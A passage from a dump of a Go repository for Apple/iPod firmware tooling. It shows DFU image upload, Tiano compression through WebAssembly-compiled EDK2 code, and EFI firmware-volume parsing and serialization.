%d status expected %d, got %d\", blockno, want, got)\n\t\t}\n\t\tfor (status.State != StateDnloadIdle){\n\t\t\ttime.Sleep(status.Timeout)\n\t\t\tstatus, err = GetStatus(usb)\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"chunk %d status failed: %w\", blockno, err)\n\t\t\t}\n\t\t\tif want, got := ErrOk, status.Err; want != got {\n\t\t\t\treturn fmt.Errorf(\"chunk %d status expected %d, got %d\", blockno, want, got)\n\t\t\t}\n\t\t} \n\t\t\n\t\tblockno += 1\n\n\t}\n\n\t// Send zero-length download, completing image.\n\tif err := SendChunk(usb, nil, blockno); err != nil {\n\t\treturn fmt.Errorf(\"zero length send failed: %w\", err)\n\t}\n\n\tfor i := 0; i < 100; i++ {\n\t\t// Send status request, causing manifest.\n\t\tst, err := GetStatus(usb)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"status failed: %w\", err)\n\t\t}\n\t\tif st.State == StateIdle {\n\t\t\treturn fmt.Errorf(\"unexpected idle, err: %d\", st.Err)\n\t\t}\n\t\tif st.State == StateDnBusy {\n\t\t\tcontinue\n\t\t}\n\t\tif st.State == StateManifest {\n\t\t\tslog.Info(\"Got dfuMANIFEST, image uploaded.\")\n\t\t\treturn nil\n\t\t}\n\t}\n\n\treturn fmt.Errorf(\"did not reach manifest\")\n}\n\nfunc Clean(usb devices.Usb) error {\n\tif err := ClearStatus(usb); err != nil {\n\t\treturn fmt.Errorf(\"ClrStatus: %w\", err)\n\t}\n\tstate, err := GetState(usb)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"GetState: %w\", err)\n\t}\n\tif state != StateIdle {\n\t\treturn fmt.Errorf(\"unexpected DFU state %s\", state)\n\t}\n\treturn nil\n\n}\n"
  },
  {
    "path": "pkg/efi/compression/COPYING.edk2.txt",
    "content": "Copyright (c) 2004 - 2018, Intel Corporation. All rights reserved.\n\nRedistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:\n\n    1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.\n    2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.\n\nSubject to the terms and conditions of this license, each copyright holder and contributor hereby grants to those receiving rights under this license a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except for failure to satisfy the conditions of this license) patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer this software, where such license applies only to those patent claims, already acquired or hereafter acquired, licensable by such copyright holder or contributor that are necessarily infringed by:\n\n    (a) their Contribution(s) (the licensed copyrights of copyright holders and non-copyrightable additions of contributors, in source or binary form) alone; or\n    (b) combination of their Contribution(s) with the work of authorship to which such Contribution(s) was added by such copyright holder or contributor, if, at the time the Contribution is added, such addition causes such combination to be necessarily infringed. The patent license shall not apply to any other combinations which include the Contribution.\n\nExcept as expressly stated above, no rights or licenses from any copyright holder or contributor is granted under this license, whether expressly, by implication, estoppel or otherwise.\n\nDISCLAIMER\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n"
  },
  {
    "path": "pkg/efi/compression/build.sh",
    "content": "#! /usr/bin/env nix-shell\n#! nix-shell -i bash -p emscripten\nset -e -x -o pipefail\n\n# Rebuild edk2.wasm from EDK2 sources. It contains TianoCompress/Decompress\n# functions which are then made available to the Go runtime using wazero.\n\n[ -d edk2 ] || exit 1\n\n# Work around Nix badness.\n# See: https://github.com/NixOS/nixpkgs/issues/139943\n\nemscriptenpath=\"$(dirname $(dirname $(which emcc)))\"\nif [ ! -d ~/.emscripten_cache ]; then\n    cp -rv \"$emscriptenpath/share/emscripten/cache\" ~/.emscripten_cache\n    chmod u+rwX -R ~/.emscripten_cache\nfi\nexport EM_CACHE=~/.emscripten_cache\n\nemcc \\\n    edk2/BaseTools/Source/C/Common/TianoCompress.c \\\n    edk2/BaseTools/Source/C/Common/Decompress.c \\\n    -I edk2/BaseTools/Source/C/Include/ \\\n    -I edk2/BaseTools/Source/C/Include/X64/ \\\n    -s EXPORTED_FUNCTIONS=_TianoDecompress,_TianoCompress,_malloc,_free \\\n    -s ALLOW_MEMORY_GROWTH \\\n    --no-entry \\\n    -O3 \\\n    -o edk2.wasm\n"
  },
  {
    "path": "pkg/efi/compression/compression.go",
    "content": "package compression\n\ntype TianoCompression interface {\n\t// Decompress using Tiano compression algorithm from EDK2.\n\tDecompress(in []byte) ([]byte, error)\n\t// Compress using Tiano compression algorithm from EDK2.\n\tCompress(in []byte) ([]byte, error)\n}\n"
  },
  {
    "path": "pkg/efi/compression/compression_runtime.go",
    "content": "//go:build wasm\n\npackage compression\n\ntype RuntimeDispatched struct {\n\tDecompressFn func(in []byte) ([]byte, error)\n\tCompressFn   func(in []byte) ([]byte, error)\n}\n\nfunc (r *RuntimeDispatched) Decompress(in []byte) ([]byte, error) {\n\treturn r.DecompressFn(in)\n}\nfunc (r *RuntimeDispatched) Compress(in []byte) ([]byte, error) {\n\treturn r.CompressFn(in)\n}\n\nvar Compression = &RuntimeDispatched{}\n"
  },
  {
    "path": "pkg/efi/compression/compression_test.go",
    "content": "package compression\n\nimport (\n\t\"bytes\"\n\t\"testing\"\n)\n\nfunc TestLoopback(t *testing.T) {\n\tinput := []byte(\"According to all known laws of aviation, there is no way an EFI implementation should be able to fly. It's wings are too small to get its fat little body off the ground. The implementation, of course, flies anyway, because computers don't care what humans think is impossible.\")\n\tcompressed, err := Compression.Compress(input)\n\tif err != nil {\n\t\tt.Fatalf(\"Compress() failed: %v\", err)\n\t}\n\n\tuncompressed, err := Compression.Decompress(compressed)\n\tif err != nil {\n\t\tt.Fatalf(\"Decompress() failed: %v\", err)\n\t}\n\n\tif !bytes.Equal(input, uncompressed) {\n\t\tt.Fatalf(\"did not decompress to same data: %q\", string(uncompressed))\n\t}\n}\n"
  },
  {
    "path": "pkg/efi/compression/compression_wazero.go",
    "content": "//go:build !wasm\n\n// package compression implements EFI compression/decompression routines by\n// calling out into edk2 Tiano{Dec,C}ompres functions compiled into\n// WebAssembly.\n//\n// We don't use cgo or c2go because I don't trust that code.\n//\n// See build.sh on how to regenerate edk2.wasm.\npackage compression\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t_ \"embed\"\n\t\"encoding/binary\"\n\t\"errors\"\n\t\"fmt\"\n\t\"os\"\n\t\"sync\"\n\n\t\"github.com/tetratelabs/wazero\"\n\t\"github.com/tetratelabs/wazero/api\"\n\t\"github.com/tetratelabs/wazero/imports/emscripten\"\n\t\"github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1\"\n)\n\nvar (\n\t// mu guards the entirety of the compression/decompression library behind a\n\t// singleton mutex. That's because the Intel compression/decompression code\n\t// is very, very, extremely non memory safe.\n\tmu sync.Mutex\n\n\t//go:embed edk2.wasm\n\twasm []byte\n)\n\n// edk2 is the WebAssembly module and loaded functions from edk2.wasm.\ntype edk2 struct {\n\tmodule api.Module\n\n\tmallocF     api.Function\n\tfreeF       api.Function\n\tcompressF   api.Function\n\tdecompressF api.Function\n}\n\nfunc (e *edk2) malloc(ctx context.Context, size int) uint32 {\n\tresults, err := e.mallocF.Call(ctx, uint64(size))\n\tif err != nil {\n\t\tpanic(fmt.Sprintf(\"wasm malloc() failed: %v\", err))\n\t}\n\treturn uint32(results[0])\n}\n\nfunc (e *edk2) free(ctx context.Context, ptr uint32) {\n\te.freeF.Call(ctx, uint64(ptr))\n}\n\nfunc (e *edk2) write(ctx context.Context, ptr uint32, data []byte) {\n\tif !e.module.Memory().Write(ctx, ptr, data) {\n\t\tpanic(\"memory write failed\")\n\t}\n}\n\nfunc (e *edk2) writeu32(ctx context.Context, ptr, data uint32) {\n\tbuf := bytes.NewBuffer(nil)\n\tif err := binary.Write(buf, binary.LittleEndian, data); err != nil {\n\t\tpanic(\"err\")\n\t}\n\te.write(ctx, ptr, buf.Bytes())\n}\n\nfunc (e *edk2) read(ctx context.Context, ptr uint32, size int) []byte {\n\tres, ok := e.module.Memory().Read(ctx, ptr, uint32(size))\n\tif !ok {\n\t\tpanic(\"memory read failed\")\n\t}\n\tres2 := make([]byte, len(res))\n\tcopy(res2, res)\n\treturn res2\n}\n\nfunc (e *edk2) readu32(ctx context.Context, ptr uint32) uint32 {\n\tdata := e.read(ctx, ptr, 4)\n\tvar res uint32\n\tif err := binary.Read(bytes.NewBuffer(data), binary.LittleEndian, &res); err != nil {\n\t\tpanic(err)\n\t}\n\treturn res\n}\n\nvar (\n\tedk *edk2\n)\n\nfunc edk2Error(code int32) error {\n\tswitch code {\n\tcase 0:\n\t\treturn nil\n\tcase 2:\n\t\treturn errors.New(\"invalid parameter\")\n\tcase 5:\n\t\treturn errors.New(\"buffer too small\")\n\tcase 9:\n\t\treturn errors.New(\"out of resources\")\n\tdefault:\n\t\treturn fmt.Errorf(\"unknown (%d)\", code)\n\t}\n}\n\nfunc getedk2() *edk2 {\n\t// Already guarded by 'mu'.\n\tif edk != nil {\n\t\treturn edk\n\t}\n\n\tctx := context.Background()\n\tr := wazero.NewRuntime(ctx)\n\tif _, err := wasi_snapshot_preview1.Instantiate(ctx, r); err != nil {\n\t\tpanic(err)\n\t}\n\tif _, err := emscripten.Instantiate(ctx, r); err != nil {\n\t\tpanic(err)\n\t}\n\n\tconfig := wazero.NewModuleConfig().WithStdout(os.Stdout).WithStderr(os.Stderr)\n\tcode, err := r.CompileModule(ctx, wasm, wazero.NewCompileConfig())\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tmod, err := r.InstantiateModule(ctx, code, config)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\te := &edk2{\n\t\tmodule:      mod,\n\t\tmallocF:     mod.ExportedFunction(\"malloc\"),\n\t\tfreeF:       mod.ExportedFunction(\"free\"),\n\t\tcompressF:   mod.ExportedFunction(\"TianoCompress\"),\n\t\tdecompressF: mod.ExportedFunction(\"TianoDecompress\"),\n\t}\n\n\tedk = e\n\treturn e\n}\n\ntype wazeroCompression struct{}\n\n// Decompress using Tiano compression algorithm from EDK2.\nfunc (w *wazeroCompression) Decompress(in []byte) ([]byte, error) {\n\tmu.Lock()\n\tdefer mu.Unlock()\n\n\tvar dstSize uint32\n\tif err := binary.Read(bytes.NewBuffer(in[4:8]), binary.LittleEndian, &dstSize); err != nil {\n\t\treturn nil, err\n\t}\n\n\tctx, ctxC := context.WithCancel(context.Background())\n\tdefer ctxC()\n\n\te := getedk2()\n\n\t// Prepare `in` in wasm.\n\tinPtr := e.malloc(ctx, len(in))\n\tdefer e.free(ctx, inPtr)\n\te.write(ctx, inPtr, in)\n\n\t// Prepare `out` in wasm.\n\toutPtr := e.malloc(ctx, int(dstSize))\n\tdefer e.free(ctx, outPtr)\n\n\t// Prepare `scratch` in wasm.\n\tscratchPtr := e.malloc(ctx, 13393)\n\tdefer e.free(ctx, outPtr)\n\n\tresults, err := e.decompressF.Call(ctx, uint64(inPtr), uint64(len(in)), uint64(outPtr), uint64(dstSize), uint64(scratchPtr), 13393)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"wasm TianoDecompress() failed: %w\", err)\n\t}\n\n\tres := int32(results[0])\n\tif res != 0 {\n\t\treturn nil, edk2Error(res)\n\t}\n\n\tdata := e.read(ctx, outPtr, int(dstSize))\n\treturn data, nil\n}\n\n// Compress using Tiano compression algorithm from EDK2.\nfunc (w *wazeroCompression) Compress(in []byte) ([]byte, error) {\n\tif len(in) == 0 {\n\t\treturn nil, fmt.Errorf(\"canot compress empty file\")\n\t}\n\n\tmu.Lock()\n\tdefer mu.Unlock()\n\n\tctx, ctxC := context.WithCancel(context.Background())\n\tdefer ctxC()\n\n\te := getedk2()\n\n\t// Prepare `in` in wasm.\n\tinPtr := e.malloc(ctx, len(in))\n\tdefer e.free(ctx, inPtr)\n\te.write(ctx, inPtr, in)\n\n\t// Prepare `out` in wasm.\n\toutPtr := e.malloc(ctx, len(in))\n\tdefer e.free(ctx, outPtr)\n\n\t// Prepare `outSize` in wasm.\n\toutSizePtr := e.malloc(ctx, 4)\n\tdefer e.free(ctx, outSizePtr)\n\te.writeu32(ctx, outSizePtr, uint32(len(in)))\n\n\tresults, err := e.compressF.Call(ctx, uint64(inPtr), uint64(len(in)), uint64(outPtr), uint64(outSizePtr))\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"wasm TianoCompress() failed: %w\", err)\n\t}\n\n\tres := int32(results[0])\n\tif res != 0 {\n\t\treturn nil, edk2Error(res)\n\t}\n\n\toutSizeU32 := e.readu32(ctx, outSizePtr)\n\treturn e.read(ctx, outPtr, int(outSizeU32)), nil\n}\n\nvar Compression TianoCompression = &wazeroCompression{}\n"
  },
  {
    "path": "pkg/efi/efi.go",
    "content": "// package efi implements support for parsing and reassembling EFI Firmware\n// Volumes, as used in some Apple device firmware components.\n//\n// This library is similar in functionality and scope to UEFITool or\n// uefi-firmware-parser. However, some differences remain:\n// 1. This implements the small subset of EFI FV as used by Apple devices, and\n//    is only tested against them. This is in contrast to UEFITool and\n//    uefi-firmware-parser which attempt to parse all possible images out\n//    there.\n// 2. This implementation is in pure Go, with Tiano compression routines\n//    implemented via WebAssembly (emscripten-compiled C from EDK2). This is in\n//    contrast to uefi-firmware-parser and UEFITool which link against a binary\n//    build of the functionality from EDK2.\n// 3. This implementation focuses on bit-perfect reconstruction of images. A\n//    back-to-back Read-to-Serialize of any image should result in exactly the\n//    same data outputted.\n//\npackage efi\n\nimport (\n\t\"bytes\"\n\t\"encoding/binary\"\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"io\"\n\t\"strings\"\n)\n\n// GUID type compatible with EFI.\ntype GUID [16]byte\n\nfunc (g GUID) String() string {\n\ta := []byte{g[3], g[2], g[1], g[0]}\n\tb := []byte{g[5], g[4]}\n\tc := []byte{g[7], g[6]}\n\td := []byte{g[8], g[9]}\n\te := []byte{g[10], g[11], g[12], g[13], g[14], g[15]}\n\treturn fmt.Sprintf(\"%s-%s-%s-%s-%s\", hex.EncodeToString(a), hex.EncodeToString(b), hex.EncodeToString(c), hex.EncodeToString(d), hex.EncodeToString(e))\n}\n\nfunc MustParseGUID(s string) GUID {\n\tif len(s) != 36 {\n\t\tpanic(\"wrong guid length\")\n\t}\n\tparts := strings.Split(s, \"-\")\n\tif len(parts) != 5 {\n\t\tpanic(\"invalid format\")\n\t}\n\n\tlengths := []int{8, 4, 4, 4, 12}\n\tvs := make([][]byte, 5)\n\tfor i, l := range lengths {\n\t\tif len(parts[i]) != l {\n\t\t\tpanic(\"invalid format\")\n\t\t}\n\t\tv, err := hex.DecodeString(parts[i])\n\t\tif err != nil {\n\t\t\tpanic(\"inavlid format\")\n\t\t}\n\t\tvs[i] = v\n\t}\n\n\ta := vs[0]\n\tb := vs[1]\n\tc := vs[2]\n\td := vs[3]\n\te := vs[4]\n\n\treturn [16]byte{\n\t\ta[3], a[2], a[1], a[0],\n\t\tb[1], b[0],\n\t\tc[1], c[0],\n\t\td[0], d[1],\n\t\te[0], e[1], e[2], e[3], e[4], e[5],\n\t}\n}\n\n// NestedReader is a io.Reader which implements carving out a subelement of\n// itself into another io.Reader. It also allows keeping track of the position\n// of a reader within the original backing data.\ntype NestedReader struct {\n\tparent *NestedReader\n\tdata   []byte\n\tpos    int\n\tstart  int\n}\n\nfunc (r *NestedReader) Read(out []byte) (int, error) {\n\tleft := len(r.data) - r.pos\n\tif left <= 0 {\n\t\treturn 0, io.EOF\n\t}\n\tif len(out) < left {\n\t\tleft = len(out)\n\t}\n\tcopy(out, r.data[r.pos:r.pos+left])\n\tr.pos += left\n\treturn left, nil\n}\n\nfunc (r *NestedReader) Advance(count int) {\n\tleft := len(r.data) - r.pos\n\tif left < count {\n\t\tcount = left\n\t}\n\tr.pos += count\n}\n\nfunc (r *NestedReader) TellGlobal() int {\n\treturn r.pos + r.start\n}\n\nfunc (r *NestedReader) Sub(start, length int) *NestedReader {\n\treturn &NestedReader{\n\t\tparent: r,\n\t\tdata:   r.data[r.pos+start : r.pos+start+length],\n\t\tpos:    0,\n\t\tstart:  r.start + r.pos + start,\n\t}\n}\n\nfunc (r *NestedReader) Len() int {\n\treturn len(r.data) - r.pos\n}\n\nfunc NewNestedReader(underlying []byte) *NestedReader {\n\treturn &NestedReader{\n\t\tparent: nil,\n\t\tdata:   underlying,\n\t\tpos:    0,\n\t\tstart:  0,\n\t}\n}\n\n// Uint24 as per EFI.\ntype Uint24 [3]uint8\n\nfunc ToUint24(s uint32) Uint24 {\n\tif s > 0xffffff {\n\t\tpanic(\"too large\")\n\t}\n\treturn [3]uint8{uint8(s & 0xff), uint8((s >> 8) & 0xff), uint8((s >> 16) & 0xff)}\n}\n\nfunc (s Uint24) Uint32() uint32 {\n\treturn (uint32(s[2]) << 16) | (uint32(s[1]) << 8) | uint32(s[0])\n}\n\n// checksum16 is the 16-bit checksum as used in some EFI headers. It calculates\n// the value necessary to make the given data sum to 0 when interpreted as an\n// array of 16-bit integers.\nfunc checksum16(data []byte) uint16 {\n\tif len(data)%2 != 0 {\n\t\tpanic(\"cannot checksum non-16-bit-chunked data\")\n\t}\n\tcheckNums := make([]uint16, len(data)/2)\n\tbinary.Read(bytes.NewBuffer(data), binary.LittleEndian, checkNums)\n\tsum := uint16(0)\n\tfor _, n := range checkNums {\n\t\tsum += n\n\t}\n\treturn (sum ^ 0xffff) + 1\n}\n\n// checksum8 is the 16-bit checksum as used in some EFI headers. It calculates\n// the value necessary to make the given data sum to 0 when interpreted as an\n// array of 8-bit integers.\nfunc checksum8(data []byte) uint8 {\n\tcheckNums := make([]uint8, len(data))\n\tbinary.Read(bytes.NewBuffer(data), binary.LittleEndian, checkNums)\n\tsum := uint8(0)\n\tfor _, n := range checkNums {\n\t\tsum += n\n\t}\n\treturn (sum ^ 0xff) + 1\n}\n"
  },
  {
    "path": "pkg/efi/file.go",
    "content": "package efi\n\nimport (\n\t\"bytes\"\n\t\"encoding/binary\"\n\t\"fmt\"\n\t\"log/slog\"\n)\n\n// FirmwareFileHeader as per EFI standard.\ntype FirmwareFileHeader struct {\n\tGUID GUID\n\t// ChecksumHeader is recalculated when Serialize is called.\n\tChecksumHeader uint8\n\t// ChecksumData is recalculated when Serialize is called.\n\tChecksumData uint8\n\tFileType     FileType\n\tAttributes   uint8\n\t// Size is recalculated when Serialize is called.\n\tSize  Uint24\n\tState uint8\n}\n\ntype FileType uint8\n\nconst (\n\tFileTypeSecurityCore FileType = 3\n\tFileTypePEICore      FileType = 4\n\tFileTypeDXECore      FileType = 5\n\tFileTypeDriver       FileType = 7\n\tFileTypeApplication  FileType = 9\n\tFileTypePadding      FileType = 240\n)\n\nfunc (f FileType) String() string {\n\tswitch f {\n\tcase FileTypeSecurityCore:\n\t\treturn \"security core\"\n\tcase FileTypePEICore:\n\t\treturn \"pei core\"\n\tcase FileTypeDXECore:\n\t\treturn \"dxe core\"\n\tcase FileTypeDriver:\n\t\treturn \"driver\"\n\tcase FileTypeApplication:\n\t\treturn \"application\"\n\tcase FileTypePadding:\n\t\treturn \"padding\"\n\tdefault:\n\t\treturn fmt.Sprintf(\"UNKNOWN(%d)\", f)\n\t}\n}\n\n// FirmwareFile represents an EFI Firmware File within a Firmware Volume.\ntype FirmwareFile struct {\n\tFirmwareFileHeader\n\tSections []Section\n\t// ReadOffset is the offset within the volume at which the file has been\n\t// encountered.\n\tReadOffset int\n}\n\nfunc (f *FirmwareFile) Serialize() ([]byte, error) {\n\tvar data []byte\n\tvar err error\n\tif f.FileType == FileTypePadding {\n\t\tdata = bytes.Repeat([]byte{0xff}, int(f.Size.Uint32()-0x18))\n\t} else {\n\t\tdata, err = concatSections(f.Sections)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"could not serialize sections: %w\", err)\n\t\t}\n\t}\n\n\tf.Size = ToUint24(uint32(len(data)) + 0x18)\n\n\tf.ChecksumHeader = 0\n\tf.ChecksumData = 0\n\tstate := f.State\n\tf.State = 0\n\n\tcheckBuf := bytes.NewBuffer(nil)\n\tbinary.Write(checkBuf, binary.LittleEndian, f.FirmwareFileHeader)\n\n\tf.ChecksumHeader = checksum8(checkBuf.Bytes())\n\tif (f.Attributes & 0x40) != 0 {\n\t\tf.ChecksumData = checksum8(data)\n\t} else {\n\t\tf.ChecksumData = 0xaa\n\t}\n\tf.State = state\n\n\tbuf := bytes.NewBuffer(nil)\n\tif err := binary.Write(buf, binary.LittleEndian, f.FirmwareFileHeader); err != nil {\n\t\treturn nil, err\n\t}\n\tif _, err := buf.Write(data); err != nil {\n\t\tpanic(err)\n\t}\n\n\treturn buf.Bytes(), nil\n}\n\nfunc readFile(r *NestedReader) (*FirmwareFile, error) {\n\tstart := r.TellGlobal()\n\tvar header FirmwareFileHeader\n\tpeek := r.pos\n\tif err := binary.Read(r, binary.LittleEndian, &header); err != nil {\n\t\treturn nil, fmt.Errorf(\"reading header failed: %w\", err)\n\t}\n\n\tif header.GUID.String() == \"ffffffff-ffff-ffff-ffff-ffffffffffff\" {\n\t\tr.pos = peek\n\t\treturn nil, nil\n\t}\n\n\tslog.Debug(\"File header\", \"start\", start, \"header\", header)\n\tsize := header.Size.Uint32()\n\tdataSub := r.Sub(0, int(size-0x18))\n\tr.Advance(int(size - 0x18))\n\n\talignment := (size - 0x18) % 8\n\tif alignment != 0 {\n\t\tr.Advance(int(8 - alignment))\n\t}\n\tvar sections []Section\n\tif header.FileType != FileTypePadding {\n\t\tvar err error\n\t\tsections, err = readSections(dataSub)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\t// TODO: checksum\n\treturn &FirmwareFile{\n\t\tFirmwareFileHeader: header,\n\t\tSections:           sections,\n\t\tReadOffset:         start,\n\t}, nil\n}\n"
  },
  {
    "path": "pkg/efi/sections.go",
    "content": "package efi\n\nimport (\n\t\"bytes\"\n\t\"encoding/binary\"\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"hash/crc32\"\n\t\"io\"\n\t\"log/slog\"\n\n\t\"github.com/freemyipod/wInd3x/pkg/efi/compression\"\n\t\"github.com/ulikunitz/xz/lzma\"\n)\n\ntype SectionType uint8\n\nconst (\n\tSectionTypeCompression         SectionType = 1\n\tSectionTypeGUIDDefined         SectionType = 2\n\tSectionTypePE32                SectionType = 16\n\tSectionTypeTE                  SectionType = 18\n\tSectionTypeDXEDEPEX            SectionType = 19\n\tSectionTypeVersion             SectionType = 20\n\tSectionTypeUserInterface       SectionType = 21\n\tSectionTypeFirmwareVolumeImage SectionType = 23\n\tSectionTypeRaw                 SectionType = 25\n)\n\nfunc (s SectionType) String() string {\n\tswitch s {\n\tcase SectionTypeCompression:\n\t\treturn \"compression\"\n\tcase SectionTypeGUIDDefined:\n\t\treturn \"guid\"\n\tcase SectionTypePE32:\n\t\treturn \"pe32\"\n\tcase SectionTypeTE:\n\t\treturn \"te\"\n\tcase SectionTypeDXEDEPEX:\n\t\treturn \"depex\"\n\tcase SectionTypeVersion:\n\t\treturn \"version\"\n\tcase SectionTypeUserInterface:\n\t\treturn \"ui\"\n\tcase SectionTypeFirmwareVolumeImage:\n\t\treturn \"firmware volume image\"\n\tcase SectionTypeRaw:\n\t\treturn \"raw\"\n\tdefault:\n\t\treturn fmt.Sprintf(\"UNKNOWN(%d)\", s)\n\t}\n}\n\ntype SectionOrFile struct {\n\tSection Section\n\tFile    *FirmwareFile\n}\n\n// Section is the interface implemented by all EFI Firmware Volume File\n// Sections.\ntype Section interface {\n\t// Header returns the common header of this section.\n\tHeader() *commonSectionHeader\n\t// Sub returns all Sections nested within this section, if applicable.\n\tSub() []SectionOrFile\n\t// Serialize serializes this section into a binary.\n\tSerialize() ([]byte, error)\n\n\t// Raw returns the inner data within this section, if this section is a\n\t// PE32/TE/DXE/Raw section.\n\tRaw() []byte\n\t// SetRaw overrides the inner data within this section, if this section is\n\t// a PE32/TE/DXE/Raw section.\n\tSetRaw([]byte)\n}\n\nfunc readSections(r *NestedReader) ([]Section, error) {\n\tvar res []Section\n\tfor r.Len() != 0 {\n\t\tp1 := r.TellGlobal()\n\t\tsection, err := readSection(r)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"section %d: %w\", len(res), err)\n\t\t}\n\t\tp2 := r.TellGlobal()\n\t\tread := p2 - p1\n\t\tif read%4 != 0 && r.Len() != 0 {\n\t\t\talign := 4 - (read % 4)\n\t\t\tr.Advance(align)\n\t\t}\n\t\tres = append(res, section)\n\t}\n\treturn res, nil\n}\n\ntype commonSectionHeader struct {\n\tSize Uint24\n\tType SectionType\n}\n\nfunc (c *commonSectionHeader) Header() *commonSectionHeader {\n\treturn c\n}\n\nfunc (c *commonSectionHeader) Raw() []byte {\n\treturn nil\n}\n\nfunc (c *commonSectionHeader) SetRaw([]byte) {\n}\n\ntype compressionSection struct {\n\tcommonSectionHeader\n\textra struct {\n\t\tUncompressedLength uint32\n\t\tCompressionType    uint8\n\t}\n\tsub []Section\n}\n\nfunc (c *compressionSection) Sub() []SectionOrFile {\n\tres := make([]SectionOrFile, 0, len(c.sub))\n\tfor _, s := range c.sub {\n\t\tres = append(res, SectionOrFile{Section: s})\n\t}\n\treturn res\n}\n\nfunc concatSections(sub []Section) ([]byte, error) {\n\tvar res []byte\n\tif len(sub) == 0 {\n\t\treturn nil, fmt.Errorf(\"no sections\")\n\t}\n\tfor i, section := range sub {\n\t\tdata, err := section.Serialize()\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"sub %d: %w\", i, err)\n\t\t}\n\t\tif len(data)%4 != 0 && (i != len(sub)-1) {\n\t\t\tdata = append(data, bytes.Repeat([]byte{0x00}, 4-(len(data)%4))...)\n\t\t}\n\t\tres = append(res, data...)\n\t}\n\treturn res, nil\n}\n\nfunc (c *compressionSection) Serialize() ([]byte, error) {\n\tuncompressed, err := concatSections(c.sub)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tc.extra.UncompressedLength = uint32(len(uncompressed))\n\tcompressed, err := compression.Compression.Compress(uncompressed)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"compression failed: %w\", err)\n\t}\n\tc.commonSectionHeader.Size = ToUint24(uint32(4 + 5 + len(compressed)))\n\n\tbuf := bytes.NewBuffer(nil)\n\tif err := binary.Write(buf, binary.LittleEndian, c.commonSectionHeader); err != nil {\n\t\treturn nil, err\n\t}\n\tif err := binary.Write(buf, binary.LittleEndian, c.extra); err != nil {\n\t\treturn nil, err\n\t}\n\tif err := binary.Write(buf, binary.LittleEndian, compressed); err != nil {\n\t\treturn nil, err\n\t}\n\treturn buf.Bytes(), nil\n}\n\ntype guidSection struct {\n\tcommonSectionHeader\n\textra struct {\n\t\tSectionDefinitionGUID GUID\n\t\tDataOffset            uint16\n\t\tAttributes            uint16\n\t}\n\tcustom []byte\n\tsub    []Section\n}\n\nfunc (c *guidSection) Sub() []SectionOrFile {\n\tres := make([]SectionOrFile, 0, len(c.sub))\n\tfor _, s := range c.sub {\n\t\tres = append(res, SectionOrFile{Section: s})\n\t}\n\treturn res\n}\n\nfunc (c *guidSection) Serialize() ([]byte, error) {\n\tdata, err := concatSections(c.sub)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif (c.extra.Attributes & 1) != 0 {\n\t\tswitch c.extra.SectionDefinitionGUID.String() {\n\t\tcase \"ee4e5898-3914-4259-9d6e-dc7bd79403cf\":\n\t\t\t// LZMA compressed\n\t\t\twbuf := bytes.NewBuffer(nil)\n\t\t\twrc := lzma.WriterConfig{\n\t\t\t\tSizeInHeader: true,\n\t\t\t\tSize:         int64(len(data)),\n\t\t\t\tBufSize:      1 << 15,\n\t\t\t\tDictCap:      16 << 20,\n\t\t\t\t//EOSMarker:    true,\n\t\t\t}\n\t\t\tw, err := wrc.NewWriter(wbuf)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, fmt.Errorf(\"could not open LZMA section: %w\", err)\n\t\t\t}\n\t\t\tslog.Debug(\"  LZMA compressing\", \"len\", len(data))\n\t\t\tif _, err := w.Write(data); err != nil {\n\t\t\t\treturn nil, fmt.Errorf(\"could not compress LZMA section: %w\", err)\n\t\t\t}\n\t\t\tif err := w.Close(); err != nil {\n\t\t\t\treturn nil, fmt.Errorf(\"could not close LZMA section: %w\", err)\n\t\t\t}\n\t\t\tdata = wbuf.Bytes()\n\t\tdefault:\n\t\t\treturn nil, fmt.Errorf(\"need to process unknown GUID %s\", c.extra.SectionDefinitionGUID.String())\n\t\t}\n\t}\n\tc.commonSectionHeader.Size = ToUint24(uint32(4 + 20 + len(c.custom) + len(data)))\n\tif c.extra.SectionDefinitionGUID.String() == \"fc1bcdb0-7d31-49aa-936a-a4600d9dd083\" {\n\t\t// Rebuild CRC32 checksum.\n\t\th := 